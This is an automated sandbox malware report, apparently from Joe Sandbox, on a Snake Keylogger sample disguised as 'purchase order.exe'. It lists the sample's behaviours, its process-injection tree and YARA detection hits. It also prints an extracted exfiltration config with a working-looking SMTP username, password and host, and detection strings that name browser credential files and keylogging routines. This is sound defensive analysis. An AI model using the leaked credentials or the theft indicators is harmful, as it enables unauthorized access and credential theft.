Edit tour

Windows Analysis Report
purchase order.exe

Overview

General Information

Sample name:	purchase order.exe
Analysis ID:	1519454
MD5:	b0783a18de531b50debfe5252bc25558
SHA1:	bc564e0ceb0e8f99602247bcc559a583f77db8ce
SHA256:	018ff37ba8b41d1ae1669d3fd841351f4197f9594c7f05512b5a99cfda88549f
Tags:	exeuser-TeamDreier
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Snake Keylogger

.NET source code contains potential unpacker

AI detected suspicious sample

Allocates memory in foreign processes

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Sample has a suspicious name (potential lure to open the executable)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

purchase order.exe (PID: 6884 cmdline: "C:\Users\user\Desktop\purchase order.exe" MD5: B0783A18DE531B50DEBFE5252BC25558)

InstallUtil.exe (PID: 7140 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Bohw.exe (PID: 6024 cmdline: "C:\Users\user\AppData\Roaming\Bohw.exe" MD5: B0783A18DE531B50DEBFE5252BC25558)

InstallUtil.exe (PID: 6644 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Bohw.exe (PID: 4528 cmdline: "C:\Users\user\AppData\Roaming\Bohw.exe" MD5: B0783A18DE531B50DEBFE5252BC25558)

InstallUtil.exe (PID: 6960 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "offic@zulpine.shop", "Password": "e5xECScP5KfC", "Host": "zulpine.shop", "Port": "587", "Version": "5.1"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.3690336152.0000000002945000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1594d:$a1: get_encryptedPassword 0x15c39:$a2: get_encryptedUsername 0x15759:$a3: get_timePasswordChanged 0x15854:$a4: get_passwordField 0x15963:$a5: set_encryptedPassword 0x16fcd:$a7: get_logins 0x16f30:$a10: KeyLoggerEventArgs 0x16b9b:$a11: KeyLoggerEventArgsEventHandler
00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x192a0:$x1: $%SMTPDV$ 0x19306:$x2: $#TheHashHere%& 0x1a917:$x3: %FTPDV$ 0x1aa0b:$x4: $%TelegramDv$ 0x16b9b:$x5: KeyLoggerEventArgs 0x16f30:$x5: KeyLoggerEventArgs 0x1a93b:$m2: Clipboard Logs ID 0x1ab5b:$m2: Screenshot Logs ID 0x1ac6b:$m2: keystroke Logs ID 0x1af45:$m3: SnakePW 0x1ab33:$m4: \SnakeKeylogger\
00000007.00000002.3689129478.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000005.00000002.2815939697.00000000049D6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1916f:$x3: %FTPDV$ 0x19263:$x4: $%TelegramDv$ 0x19193:$m2: Clipboard Logs ID 0x193b3:$m2: Screenshot Logs ID 0x194c3:$m2: keystroke Logs ID 0x1979d:$m3: SnakePW 0x1938b:$m4: \SnakeKeylogger\
00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x18de5:$a1: get_encryptedPassword 0x190d1:$a2: get_encryptedUsername 0x18bf1:$a3: get_timePasswordChanged 0x18cec:$a4: get_passwordField 0x18dfb:$a5: set_encryptedPassword 0x1a465:$a7: get_logins 0x1a3c8:$a10: KeyLoggerEventArgs 0x1a033:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1c738:$x1: $%SMTPDV$ 0x1c79e:$x2: $#TheHashHere%& 0x1ddaf:$x3: %FTPDV$ 0x1dea3:$x4: $%TelegramDv$ 0x1a033:$x5: KeyLoggerEventArgs 0x1a3c8:$x5: KeyLoggerEventArgs 0x1ddd3:$m2: Clipboard Logs ID 0x1dff3:$m2: Screenshot Logs ID 0x1e103:$m2: keystroke Logs ID 0x1e3dd:$m3: SnakePW 0x1dfcb:$m4: \SnakeKeylogger\
00000006.00000002.2879526593.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19883:$x3: %FTPDV$ 0x19977:$x4: $%TelegramDv$ 0x198a7:$m2: Clipboard Logs ID 0x19ac7:$m2: Screenshot Logs ID 0x19bd7:$m2: keystroke Logs ID 0x19eb1:$m3: SnakePW 0x19a9f:$m4: \SnakeKeylogger\
00000000.00000002.2588359286.00000000061E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000002.2896822556.00000000045A6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.3689902145.0000000002EB3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000008.00000002.3683061573.000000000041A000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2562619259.0000000002D5E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.3689129478.0000000002961000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14d35:$a1: get_encryptedPassword 0x15021:$a2: get_encryptedUsername 0x14b41:$a3: get_timePasswordChanged 0x14c3c:$a4: get_passwordField 0x14d4b:$a5: set_encryptedPassword 0x163b5:$a7: get_logins 0x16318:$a10: KeyLoggerEventArgs 0x15f83:$a11: KeyLoggerEventArgsEventHandler
00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18688:$x1: $%SMTPDV$ 0x186ee:$x2: $#TheHashHere%& 0x19cff:$x3: %FTPDV$ 0x19df3:$x4: $%TelegramDv$ 0x15f83:$x5: KeyLoggerEventArgs 0x16318:$x5: KeyLoggerEventArgs 0x19d23:$m2: Clipboard Logs ID 0x19f43:$m2: Screenshot Logs ID 0x1a053:$m2: keystroke Logs ID 0x1a32d:$m3: SnakePW 0x19f1b:$m4: \SnakeKeylogger\
00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19e17:$x3: %FTPDV$ 0x19f0b:$x4: $%TelegramDv$ 0x19e3b:$m2: Clipboard Logs ID 0x1a05b:$m2: Screenshot Logs ID 0x1a16b:$m2: keystroke Logs ID 0x1a445:$m3: SnakePW 0x1a033:$m4: \SnakeKeylogger\
00000007.00000002.3683072069.000000000041B000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000007.00000002.3683072069.000000000041B000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x85f:$x3: %FTPDV$ 0x953:$x4: $%TelegramDv$ 0x883:$m2: Clipboard Logs ID 0xaa3:$m2: Screenshot Logs ID 0xbb3:$m2: keystroke Logs ID 0xe8d:$m3: SnakePW 0xa7b:$m4: \SnakeKeylogger\
00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x151fd:$a1: get_encryptedPassword 0x154e9:$a2: get_encryptedUsername 0x15009:$a3: get_timePasswordChanged 0x15104:$a4: get_passwordField 0x15213:$a5: set_encryptedPassword 0x1687d:$a7: get_logins 0x167e0:$a10: KeyLoggerEventArgs 0x1644b:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18b50:$x1: $%SMTPDV$ 0x18bb6:$x2: $#TheHashHere%& 0x1a1c7:$x3: %FTPDV$ 0x1a2bb:$x4: $%TelegramDv$ 0x1644b:$x5: KeyLoggerEventArgs 0x167e0:$x5: KeyLoggerEventArgs 0x1a1eb:$m2: Clipboard Logs ID 0x1a40b:$m2: Screenshot Logs ID 0x1a51b:$m2: keystroke Logs ID 0x1a7f5:$m3: SnakePW 0x1a3e3:$m4: \SnakeKeylogger\
00000003.00000002.3690336152.00000000027C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1536d:$a1: get_encryptedPassword 0x15659:$a2: get_encryptedUsername 0x15179:$a3: get_timePasswordChanged 0x15274:$a4: get_passwordField 0x15383:$a5: set_encryptedPassword 0x169ed:$a7: get_logins 0x16950:$a10: KeyLoggerEventArgs 0x165bb:$a11: KeyLoggerEventArgsEventHandler
00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18cc0:$x1: $%SMTPDV$ 0x18d26:$x2: $#TheHashHere%& 0x1a337:$x3: %FTPDV$ 0x1a42b:$x4: $%TelegramDv$ 0x165bb:$x5: KeyLoggerEventArgs 0x16950:$x5: KeyLoggerEventArgs 0x1a35b:$m2: Clipboard Logs ID 0x1a57b:$m2: Screenshot Logs ID 0x1a68b:$m2: keystroke Logs ID 0x1a965:$m3: SnakePW 0x1a553:$m4: \SnakeKeylogger\
00000005.00000002.2797251717.000000000311F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.3689902145.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: purchase order.exe PID: 6884	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: purchase order.exe PID: 6884	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: purchase order.exe PID: 6884	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: purchase order.exe PID: 6884	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: purchase order.exe PID: 6884	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x59712:$a1: get_encryptedPassword 0x4c6ac7:$a1: get_encryptedPassword 0x599f4:$a2: get_encryptedUsername 0x4c6da9:$a2: get_encryptedUsername 0x59528:$a3: get_timePasswordChanged 0x4c68dd:$a3: get_timePasswordChanged 0x59623:$a4: get_passwordField 0x4c69d8:$a4: get_passwordField 0x59728:$a5: set_encryptedPassword 0x4c6add:$a5: set_encryptedPassword 0x5bbfe:$a7: get_logins 0x4c8fb3:$a7: get_logins 0x5bb61:$a10: KeyLoggerEventArgs 0x4c8f16:$a10: KeyLoggerEventArgs 0x5b7cc:$a11: KeyLoggerEventArgsEventHandler 0x4c8b81:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: purchase order.exe PID: 6884	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x5b7cc:$x5: KeyLoggerEventArgs 0x5bb61:$x5: KeyLoggerEventArgs 0x5c468:$x5: KeyLoggerEventArgs 0x5c7c9:$x5: KeyLoggerEventArgs 0x4c8b81:$x5: KeyLoggerEventArgs 0x4c8f16:$x5: KeyLoggerEventArgs 0x4c981d:$x5: KeyLoggerEventArgs 0x4c9b7e:$x5: KeyLoggerEventArgs 0x3e109:$m2: Clipboard Logs ID 0x3e200:$m2: Screenshot Logs ID 0x3e256:$m2: keystroke Logs ID 0x5ddbb:$m2: Clipboard Logs ID 0x5deb2:$m2: Screenshot Logs ID 0x5df08:$m2: keystroke Logs ID 0x4cb170:$m2: Clipboard Logs ID 0x4cb267:$m2: Screenshot Logs ID 0x4cb2bd:$m2: keystroke Logs ID 0x3e38b:$m3: SnakePW 0x5e03d:$m3: SnakePW 0x4cb3f2:$m3: SnakePW 0x3e1ec:$m4: \SnakeKeylogger\
Process Memory Space: InstallUtil.exe PID: 7140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7140	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Bohw.exe PID: 6024	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Bohw.exe PID: 6024	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Bohw.exe PID: 6024	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Bohw.exe PID: 6024	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Bohw.exe PID: 6024	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x9fdc:$a1: get_encryptedPassword 0x6fddb:$a1: get_encryptedPassword 0xa2be:$a2: get_encryptedUsername 0x700bd:$a2: get_encryptedUsername 0x9df2:$a3: get_timePasswordChanged 0x6fbf1:$a3: get_timePasswordChanged 0x9eed:$a4: get_passwordField 0x6fcec:$a4: get_passwordField 0x9ff2:$a5: set_encryptedPassword 0x6fdf1:$a5: set_encryptedPassword 0xc4c8:$a7: get_logins 0x722c7:$a7: get_logins 0xc42b:$a10: KeyLoggerEventArgs 0x7222a:$a10: KeyLoggerEventArgs 0xc096:$a11: KeyLoggerEventArgsEventHandler 0x71e95:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Bohw.exe PID: 6024	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xc096:$x5: KeyLoggerEventArgs 0xc42b:$x5: KeyLoggerEventArgs 0xcd32:$x5: KeyLoggerEventArgs 0xd093:$x5: KeyLoggerEventArgs 0x71e95:$x5: KeyLoggerEventArgs 0x7222a:$x5: KeyLoggerEventArgs 0x72b31:$x5: KeyLoggerEventArgs 0x72e92:$x5: KeyLoggerEventArgs 0xe685:$m2: Clipboard Logs ID 0xe77c:$m2: Screenshot Logs ID 0xe7d2:$m2: keystroke Logs ID 0x5470d:$m2: Clipboard Logs ID 0x54804:$m2: Screenshot Logs ID 0x5485a:$m2: keystroke Logs ID 0x74484:$m2: Clipboard Logs ID 0x7457b:$m2: Screenshot Logs ID 0x745d1:$m2: keystroke Logs ID 0xe907:$m3: SnakePW 0x5498f:$m3: SnakePW 0x74706:$m3: SnakePW 0xe768:$m4: \SnakeKeylogger\
Process Memory Space: Bohw.exe PID: 4528	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Bohw.exe PID: 4528	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Bohw.exe PID: 4528	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Bohw.exe PID: 4528	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Bohw.exe PID: 4528	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x43f6e:$a1: get_encryptedPassword 0x44250:$a2: get_encryptedUsername 0x43d84:$a3: get_timePasswordChanged 0x43e7f:$a4: get_passwordField 0x43f84:$a5: set_encryptedPassword 0x4645a:$a7: get_logins 0x463bd:$a10: KeyLoggerEventArgs 0x46028:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Bohw.exe PID: 4528	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x46028:$x5: KeyLoggerEventArgs 0x463bd:$x5: KeyLoggerEventArgs 0x46cc4:$x5: KeyLoggerEventArgs 0x47025:$x5: KeyLoggerEventArgs 0x7ae9:$m2: Clipboard Logs ID 0x7be0:$m2: Screenshot Logs ID 0x7c36:$m2: keystroke Logs ID 0x48617:$m2: Clipboard Logs ID 0x4870e:$m2: Screenshot Logs ID 0x48764:$m2: keystroke Logs ID 0x7d6b:$m3: SnakePW 0x48899:$m3: SnakePW 0x7bcc:$m4: \SnakeKeylogger\ 0x486fa:$m4: \SnakeKeylogger\
Process Memory Space: InstallUtil.exe PID: 6644	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 6644	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: InstallUtil.exe PID: 6644	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x35c3f:$x5: KeyLoggerEventArgs 0x35fd4:$x5: KeyLoggerEventArgs 0x3651d:$x5: KeyLoggerEventArgs 0x3687e:$x5: KeyLoggerEventArgs 0x5d923:$m2: Clipboard Logs ID 0x5da1a:$m2: Screenshot Logs ID 0x5da70:$m2: keystroke Logs ID 0x5dba5:$m3: SnakePW 0x5da06:$m4: \SnakeKeylogger\
Process Memory Space: InstallUtil.exe PID: 6960	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 6960	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Click to see the 65 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.Bohw.exe.45a62f8.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.purchase order.exe.61e0000.11.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.Bohw.exe.49d62f8.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.purchase order.exe.3e6e350.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.purchase order.exe.3e6e350.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.purchase order.exe.3e6e350.3.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.purchase order.exe.3e6e350.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a95:$a1: get_encryptedPassword 0x14d81:$a2: get_encryptedUsername 0x148a1:$a3: get_timePasswordChanged 0x1499c:$a4: get_passwordField 0x14aab:$a5: set_encryptedPassword 0x16115:$a7: get_logins 0x16078:$a10: KeyLoggerEventArgs 0x15ce3:$a11: KeyLoggerEventArgsEventHandler
0.2.purchase order.exe.3e6e350.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c44f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b681:$a3: \Google\Chrome\User Data\Default\Login Data 0x1bab4:$a4: \Orbitum\User Data\Default\Login Data 0x1caf3:$a5: \Kometa\User Data\Default\Login Data
0.2.purchase order.exe.3e6e350.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15670:$s1: UnHook 0x15677:$s2: SetHook 0x1567f:$s3: CallNextHook 0x1568c:$s4: _hook
0.2.purchase order.exe.3e6e350.3.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x183e8:$x1: $%SMTPDV$ 0x1844e:$x2: $#TheHashHere%& 0x19a5f:$x3: %FTPDV$ 0x19b53:$x4: $%TelegramDv$ 0x15ce3:$x5: KeyLoggerEventArgs 0x16078:$x5: KeyLoggerEventArgs 0x19a83:$m2: Clipboard Logs ID 0x19ca3:$m2: Screenshot Logs ID 0x19db3:$m2: keystroke Logs ID 0x1a08d:$m3: SnakePW 0x19c7b:$m4: \SnakeKeylogger\
5.2.Bohw.exe.41bfeb8.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.Bohw.exe.41bfeb8.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.Bohw.exe.41bfeb8.5.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
5.2.Bohw.exe.41bfeb8.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a95:$a1: get_encryptedPassword 0x14d81:$a2: get_encryptedUsername 0x148a1:$a3: get_timePasswordChanged 0x1499c:$a4: get_passwordField 0x14aab:$a5: set_encryptedPassword 0x16115:$a7: get_logins 0x16078:$a10: KeyLoggerEventArgs 0x15ce3:$a11: KeyLoggerEventArgsEventHandler
5.2.Bohw.exe.41bfeb8.5.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c44f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b681:$a3: \Google\Chrome\User Data\Default\Login Data 0x1bab4:$a4: \Orbitum\User Data\Default\Login Data 0x1caf3:$a5: \Kometa\User Data\Default\Login Data
5.2.Bohw.exe.41bfeb8.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15670:$s1: UnHook 0x15677:$s2: SetHook 0x1567f:$s3: CallNextHook 0x1568c:$s4: _hook
5.2.Bohw.exe.41bfeb8.5.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x183e8:$x1: $%SMTPDV$ 0x1844e:$x2: $#TheHashHere%& 0x19a5f:$x3: %FTPDV$ 0x19b53:$x4: $%TelegramDv$ 0x15ce3:$x5: KeyLoggerEventArgs 0x16078:$x5: KeyLoggerEventArgs 0x19a83:$m2: Clipboard Logs ID 0x19ca3:$m2: Screenshot Logs ID 0x19db3:$m2: keystroke Logs ID 0x1a08d:$m3: SnakePW 0x19c7b:$m4: \SnakeKeylogger\
0.2.purchase order.exe.3e6e350.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.purchase order.exe.3e6e350.3.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.purchase order.exe.3e6e350.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12c95:$a1: get_encryptedPassword 0x12f81:$a2: get_encryptedUsername 0x12aa1:$a3: get_timePasswordChanged 0x12b9c:$a4: get_passwordField 0x12cab:$a5: set_encryptedPassword 0x14315:$a7: get_logins 0x14278:$a10: KeyLoggerEventArgs 0x13ee3:$a11: KeyLoggerEventArgsEventHandler
0.2.purchase order.exe.3e6e350.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a64f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19881:$a3: \Google\Chrome\User Data\Default\Login Data 0x19cb4:$a4: \Orbitum\User Data\Default\Login Data 0x1acf3:$a5: \Kometa\User Data\Default\Login Data
0.2.purchase order.exe.3e6e350.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13870:$s1: UnHook 0x13877:$s2: SetHook 0x1387f:$s3: CallNextHook 0x1388c:$s4: _hook
